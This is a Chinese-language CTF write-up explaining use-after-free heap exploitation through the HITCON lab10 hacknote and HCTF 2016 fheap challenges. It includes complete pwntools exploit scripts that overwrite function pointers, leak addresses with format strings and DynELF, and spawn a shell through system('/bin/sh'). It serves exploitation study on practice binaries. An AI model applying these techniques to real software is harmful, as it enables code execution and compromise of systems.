Use After Free

内存释放后没有把指针置 NULL,导致可以对这块内存再次使用

image.png

HITCON training lab10 hacknote

有一个 cat flag 的后门

image.png

申请的内存会放在这个数组这里

image.png

同时在 del_note 函数中,free 过后的指针没有置为 NULL

image.png

希望能通过改变指针来让程序执行后门读取 flag

我们先随便申请两个来看一下内存是怎么分布的

image.png

每申请一个,首先会申请一个 0x10 大小的,用来存放 printf 的地址与申请的堆块的地址
然后会把申请的堆块的地址放到 notelist 数组中

然后我们释放掉他们两个,这样四块 chunk 都会被放在 fastbin 中(fastbin 是后进先出),这时候再去申请一个 0x8 大小的,当然为了对齐他会申请 0x10,这样原本两个 0x10 大小的用来放 printf 和堆块指针的 chunk 就被用来作为这次申请的放 printf 之类的和真正申请的 chunk 的地址,所以我们就可以改掉其中一个放 printf 的地方的地址为 magic 的地址,然后通过 show 来 cat flag

  1. #coding:utf-8
  2. from pwn import *
  3. p = process('./hacknote')
  4. #p = remote('node3.buuoj.cn',28416)
  5. magic_addr=0x8048986
  6. def cmd(choice):
  7. p.sendlineafter('choice :',str(choice))
  8. def addnote(size,content):
  9. cmd(1)
  10. p.sendlineafter('size :',str(size))
  11. p.sendlineafter('Content :',content)
  12. def delete(index):
  13. cmd(2)
  14. p.sendlineafter('Index :',str(index))
  15. def show(index):
  16. cmd(3)
  17. p.sendlineafter('Index :',str(index))
  18. addnote(16,'aaaa') #0
  19. addnote(16,'bbbb') #1
  20. delete(0)
  21. delete(1)
  22. addnote(8,p32(magic_addr))
  23. gdb.attach(p)
  24. pause()
  25. show(0)
  26. p.interactive()

2016 HCTF fheap

参考:https://aluvion.github.io/2019/05/14/HCTF2016-fheap%E5%AD%A6%E4%B9%A0/

emmm,这个题…一开始没用 IDA 看我还以为题目出了问题😂,他是输入选项字符串

image.png

如果输入的长度是小于 0xF 的话直接放到一开始 malloc 的 ptr 那里,如果大于的话先申请一个,放到申请的里面再把后来申请的这一个的地址给放到 ptr 中

image.png

另外 ptr+3 那个位置还放了调用 free 函数的地址

image.png

image.png

  1. create(0x10,'yichen')
  2. create(0x20,'a'*17)

image.png

对于代码段来说,只需要把地址改成 d2d 就能执行 puts 函数

image.png

image.png

思路是首先申请两个小于 0xf 的堆,然后释放掉,再申请一个大于 0xf 的,这样放这个 chunk 的指针的地方占前面释放的一个,这个 chunk 占另一个,同时这个 chunk 可以修改掉之前存放用来 free 的函数的地址的那个地方,我们把最后一位改成 \x2d,就改成 puts 函数的地址了,当 delete 的时候就会把真实地址给泄露出来

image.png

拿到真实地址之后再减去 0xd2d 得到的就是基址,那么基址加上 printf 的偏移拿到 printf 的地址,通过 printf 格式化字符串来泄漏 system 的地址

通过调试可以发现我们输入的 yes12345 正好在栈上第三个参数的位置,而 64 位程序,在寄存器上面还有 6 个参数,所以是第九个参数

image.png

然后写出这样一个 leak 函数

  1. def leak(addr):
  2. delete(0)
  3. data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
  4. #前面24个占空,后面写成printf的地址
  5. create(0x20, data)
  6. p.recvuntil("quit")
  7. p.sendline("delete string")
  8. p.recvuntil('id:')
  9. p.sendline(str(1))#然后一释放,就会去调用printf
  10. p.recvuntil('sure?:')
  11. p.sendline('yes12345' + p64(addr))
  12. data = p.recvuntil('AA')[:-2]#就能得到addr的内容
  13. data += "\00"
  14. return data

再这样就能自己找出来了

  1. d = DynELF(leak,base_addr,elf = ELF('./pwn'))
  2. system_addr = d.lookup('system','libc')

拿到 system 的地址之后我们要做的就是把 system 的地址写到 free 的那个函数那里,然后拿到 shell

  1. data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
  2. create(0x20,data)
  3. delete(1)

完整 exp

  1. from pwn import *
  2. context.log_level = "debug"
  3. p = process("./pwn")
  4. elf = ELF("./pwn")
  5. def create(size,content):
  6. p.sendline('create ')
  7. p.sendlineafter('size:',str(size))
  8. p.sendafter('str:',content)
  9. def delete(index):
  10. p.sendline('delete ')
  11. p.sendlineafter('id:',str(index))
  12. p.sendafter('sure?:','yes 12345')
  13. def leak(addr):
  14. delete(0)
  15. data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
  16. create(0x20, data)
  17. p.recvuntil("quit")
  18. p.sendline("delete string")
  19. p.recvuntil('id:')
  20. p.sendline(str(1))
  21. p.recvuntil('sure?:')
  22. p.sendline('yes12345' + p64(addr))
  23. data = p.recvuntil('AA')[:-2]
  24. data += "\00"
  25. return data
  26. create(0x4,'aaaa')
  27. create(0x4,'aaaa')
  28. delete(1)
  29. delete(0)
  30. create(0x20,'a'*24+'\x2d')
  31. delete(1)
  32. p.recvuntil("a"*24)
  33. puts_addr = u64(p.recvline("\n")[:-1].ljust(8,"\x00"))
  34. base_addr=puts_addr-0xd2d
  35. printf_plt = base_addr + 0x9d0
  36. delete(1)
  37. d = DynELF(leak,base_addr,elf = ELF('./pwn'))
  38. system_addr = d.lookup('system','libc')
  39. delete(0)
  40. data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
  41. create(0x20,data)
  42. delete(1)
  43. p.interactive()